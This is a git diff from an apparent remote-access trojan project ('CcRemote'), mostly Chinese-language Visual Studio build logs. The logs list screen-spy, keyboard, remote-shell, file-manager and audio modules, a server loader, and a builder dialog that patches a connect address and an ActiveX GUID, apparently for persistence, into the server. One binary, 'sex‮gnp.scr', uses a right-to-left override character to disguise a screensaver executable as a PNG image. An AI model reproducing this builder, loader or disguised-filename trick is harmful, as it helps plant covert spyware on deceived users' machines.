d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(293): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(334): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -f:\myapp\ccremote\ccmaindll\loder\loder.cpp(298): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccmaindll\loder\loder.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 正在生成代码 - All 12 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. + All 66 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 已完成代码的生成 Loder.vcxproj -> F:\myapp\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe diff --git a/CcMainDll/Loder/Release/Loder.res b/CcMainDll/Loder/Release/Loder.res index 5e89793..bb24134 100644 Binary files a/CcMainDll/Loder/Release/Loder.res and b/CcMainDll/Loder/Release/Loder.res differ diff --git a/CcRemote/.vs/CcRemote/v15/.suo b/CcRemote/.vs/CcRemote/v15/.suo index d287968..5394854 100644 Binary files a/CcRemote/.vs/CcRemote/v15/.suo and b/CcRemote/.vs/CcRemote/v15/.suo differ diff --git a/CcRemote/CcRemote/CBuildDlg.cpp b/CcRemote/CcRemote/CBuildDlg.cpp index ba5eea6..6a5d977 100644 --- a/CcRemote/CcRemote/CBuildDlg.cpp +++ b/CcRemote/CcRemote/CBuildDlg.cpp @@ -13,7 +13,8 @@ struct Connect_Address DWORD dwstact; char strIP[MAX_PATH]; int nPort; -}g_myAddress = { 0xCC28256,"",0 }; + char ActiveXKeyGuid[MAX_PATH]; // 查找创建的Guid +}g_myAddress = { 0xCC28256,"",0,"" }; // CBuildDlg 对话框 IMPLEMENT_DYNAMIC(CBuildDlg, CDialog) @@ -164,35 +165,3 @@ int CBuildDlg::memfind(const char *mem, const char *str, int sizem, int sizes) return -1; } - -CString CBuildDlg::FindFiles(const char* dir, BYTE *lpBuffer,DWORD lpSize) -{ - HANDLE h; // 文件句柄 - WIN32_FIND_DATA findData; // 查找到的文件信息结构 - char dirTmp[MAX_PATH] = { 0 }; - strcpy(dirTmp, dir); - strcat(dirTmp, "*.scr"); // 使用通配符,和传入参数组成一个待遍历的路径 - DWORD sizes; - - CString fileList; //此处用string就会使存入值变为乱码,所以用CString - h = FindFirstFileA(dirTmp, &findData); //开始遍历 - do { - if (findData.dwFileAttributes&_A_SUBDIR || findData.dwFileAttributes&FILE_ATTRIBUTE_DIRECTORY || strcmp(findData.cFileName, ".") == 0 || strcmp(findData.cFileName, "..") == 0) - { - //log(INFO,"是目录,目录名:%s",findData.cFileName); - } - else - { - WriteFile(h, lpBuffer, lpSize,&sizes, NULL); - FindClose(h); - fileList=(findData.cFileName); // 绝对路径存入vector(其实就是一个数组) - return "F:\\myapp\\CcRemote\\bin\\server\\" + fileList; - } - } while (FindNextFileA(h, &findData)); - - CString a = "null"; - - FindClose(h); - return a; -} - diff --git a/CcRemote/CcRemote/CBuildDlg.h b/CcRemote/CcRemote/CBuildDlg.h index 500234a..9e4821b 100644 --- a/CcRemote/CcRemote/CBuildDlg.h +++ b/CcRemote/CcRemote/CBuildDlg.h @@ -27,5 +27,4 @@ public: CString m_strPort; private: int memfind(const char *mem, const char *str, int sizem, int sizes); - CString FindFiles(const char* dir, BYTE *lpBuffer, DWORD lpSize); }; diff --git a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log index ff5dfb0..2dde2f5 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log +++ b/CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log @@ -1,40 +1,3 @@ -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.pch -f:\myapp\ccremote\ccremote\ccremote\debug\vc141.pdb -f:\myapp\ccremote\ccremote\ccremote\debug\vc141.idb -f:\myapp\ccremote\ccremote\ccremote\debug\pch.obj -f:\myapp\ccremote\ccremote\ccremote\debug\audio.obj -f:\myapp\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj -f:\myapp\ccremote\ccremote\ccremote\debug\seu_qqwry.obj -f:\myapp\ccremote\ccremote\ccremote\debug\regdlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\inputdlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\inifile.obj -f:\myapp\ccremote\ccremote\ccremote\debug\cpuusage.obj -f:\myapp\ccremote\ccremote\ccremote\debug\csystemdlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\cshelldlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\csettingdlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\cserverdlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\ckeyboarddlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\chelpwindow.obj -f:\myapp\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\ccremotedlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.obj -f:\myapp\ccremote\ccremote\ccremote\debug\cbuilddlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\caudiodlg.obj -f:\myapp\ccremote\ccremote\ccremote\debug\iocpserver.obj -f:\myapp\ccremote\ccremote\ccremote\debug\buffer.obj -f:\myapp\ccremote\bin\ccremote.ilk -f:\myapp\ccremote\bin\ccremote.exe -f:\myapp\ccremote\bin\ccremote.pdb +f:\myapp\ccremote\ccremote\ccremote\debug\cbuilddlg.obj.enc f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.res f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog diff --git a/CcRemote/CcRemote/Debug/CcRemote.log b/CcRemote/CcRemote/Debug/CcRemote.log index 43e1174..d4d6366 100644 --- a/CcRemote/CcRemote/Debug/CcRemote.log +++ b/CcRemote/CcRemote/Debug/CcRemote.log @@ -1,4 +1,18 @@ C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。 + pch.cpp + Audio.cpp +f:\myapp\ccremote\common\audio.cpp(99): warning C4018: “<”: 有符号/无符号不匹配 + CAudioDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CBuildDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量 +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量 +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量 + CcRemote.cpp CcRemoteDlg.cpp f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明 @@ -9,4 +23,71 @@ f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(358): warning C4244: “初 f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(899): warning C4018: “<=”: 有符号/无符号不匹配 f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(987): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CFileManagerDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(81): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(360): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(361): warning C4244: “=”: 从“unsigned __int64”转换到“unsigned long”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(861): warning C4101: “VolName”: 未引用的局部变量 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(862): warning C4101: “FileSystem”: 未引用的局部变量 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1123): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1153): warning C4307: “+”: 整型常量溢出 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1571): warning C4307: “+”: 整型常量溢出 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1605): warning C4129: “*”: 不可识别的字符转义序列 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1647): warning C4307: “+”: 整型常量溢出 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1741): warning C4307: “+”: 整型常量溢出 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1901): warning C4129: “*”: 不可识别的字符转义序列 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1925): warning C4129: “*”: 不可识别的字符转义序列 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列 +f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据 + CHelpWindow.cpp + CKeyBoardDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\ckeyboarddlg.cpp(27): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CServerDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\cserverdlg.cpp(56): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + FileTransferModeDlg.cpp + CScreenSpyDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级 +f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级 + CSettingDlg.cpp + CShellDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(204): warning C4018: “<=”: 有符号/无符号不匹配 +f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(214): warning C4018: “<”: 有符号/无符号不匹配 + CSystemDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 + CpuUsage.cpp + IniFile.cpp +f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 + InputDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断 +f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明 +f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断 + RegDlg.cpp +f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(249): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 +f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + d:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 + SEU_QQwry.cpp + TrueColorToolBar.cpp + 正在生成代码... + Buffer.cpp + IOCPServer.cpp +f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明 +f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(727): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings + d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 +f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(776): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: “>=”: 有符号/无符号不匹配 + 正在生成代码... CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe diff --git a/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc b/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc deleted file mode 100644 index 448e995..0000000 Binary files a/CcRemote/CcRemote/Debug/cbuilddlg.obj.enc and /dev/null differ diff --git a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log index ea48a01..9ed4eab 100644 --- a/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log +++ b/CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log @@ -1,41 +1,2 @@ -f:\myapp\ccremote\bin\ccremote.ipdb -f:\myapp\ccremote\bin\ccremote.iobj -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch -f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb -f:\myapp\ccremote\ccremote\ccremote\release\pch.obj -f:\myapp\ccremote\ccremote\ccremote\release\iocpserver.obj -f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj -f:\myapp\ccremote\ccremote\ccremote\release\audio.obj -f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj -f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj -f:\myapp\ccremote\ccremote\ccremote\release\regdlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\inputdlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj -f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj -f:\myapp\ccremote\ccremote\ccremote\release\csystemdlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\cshelldlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\cscreenspydlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\filetransfermodedlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\cserverdlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\ckeyboarddlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\chelpwindow.obj -f:\myapp\ccremote\ccremote\ccremote\release\cfilemanagerdlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj -f:\myapp\ccremote\ccremote\ccremote\release\cbuilddlg.obj -f:\myapp\ccremote\ccremote\ccremote\release\caudiodlg.obj -f:\myapp\ccremote\bin\ccremote.exe -f:\myapp\ccremote\bin\ccremote.pdb f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog -f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog diff --git a/CcRemote/CcRemote/Release/CcRemote.log b/CcRemote/CcRemote/Release/CcRemote.log index 2db9167..602876f 100644 --- a/CcRemote/CcRemote/Release/CcRemote.log +++ b/CcRemote/CcRemote/Release/CcRemote.log @@ -14,16 +14,12 @@ f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(924): warning C4018: f:\myapp\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明 CBuildDlg.cpp -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(87): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(88): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(105): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(137): warning C4101: “e”: 未引用的局部变量 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(141): warning C4101: “e”: 未引用的局部变量 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(145): warning C4101: “e”: 未引用的局部变量 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(173): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(174): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. - d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(106): warning C4244: “=”: 从“ULONGLONG”转换到“DWORD”,可能丢失数据 +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(138): warning C4101: “e”: 未引用的局部变量 +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(142): warning C4101: “e”: 未引用的局部变量 +f:\myapp\ccremote\ccremote\ccremote\cbuilddlg.cpp(146): warning C4101: “e”: 未引用的局部变量 CcRemote.cpp CcRemoteDlg.cpp f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(173): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings @@ -93,7 +89,7 @@ f:\myapp\ccremote\ccremote\ccremote\regdlg.cpp(270): warning C4996: 'sprintf': T SEU_QQwry.cpp TrueColorToolBar.cpp 正在生成代码 - All 824 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. + All 823 functions were compiled because no usable IPDB/IOBJ from previous compilation was found. 已完成代码的生成 nafxcwd.lib(afxmem.obj) : warning LNK4006: "void * __cdecl operator new(unsigned int)" (??2@YAPAXI@Z) 已在 LIBCMTD.lib(new_scalar.obj) 中定义;已忽略第二个定义 nafxcwd.lib(afxmem.obj) : warning LNK4006: "void __cdecl operator delete(void *)" (??3@YAXPAX@Z) 已在 LIBCMTD.lib(delete_scalar.obj) 中定义;已忽略第二个定义 diff --git a/bin/CcRemote.exe b/bin/CcRemote.exe index 1b2e380..b4fe405 100644 Binary files a/bin/CcRemote.exe and b/bin/CcRemote.exe differ diff --git a/bin/server.exe b/bin/server.exe index 50f37b7..6ee07c6 100644 Binary files a/bin/server.exe and b/bin/server.exe differ diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll index 7ad54aa..ecf1634 100644 Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ diff --git a/bin/server/loder.exe b/bin/server/loder.exe index e19aab4..3255c16 100644 Binary files a/bin/server/loder.exe and b/bin/server/loder.exe differ diff --git a/bin/sex‮gnp.scr b/bin/sex‮gnp.scr index 50f37b7..6ee07c6 100644 Binary files a/bin/sex‮gnp.scr and b/bin/sex‮gnp.scr differ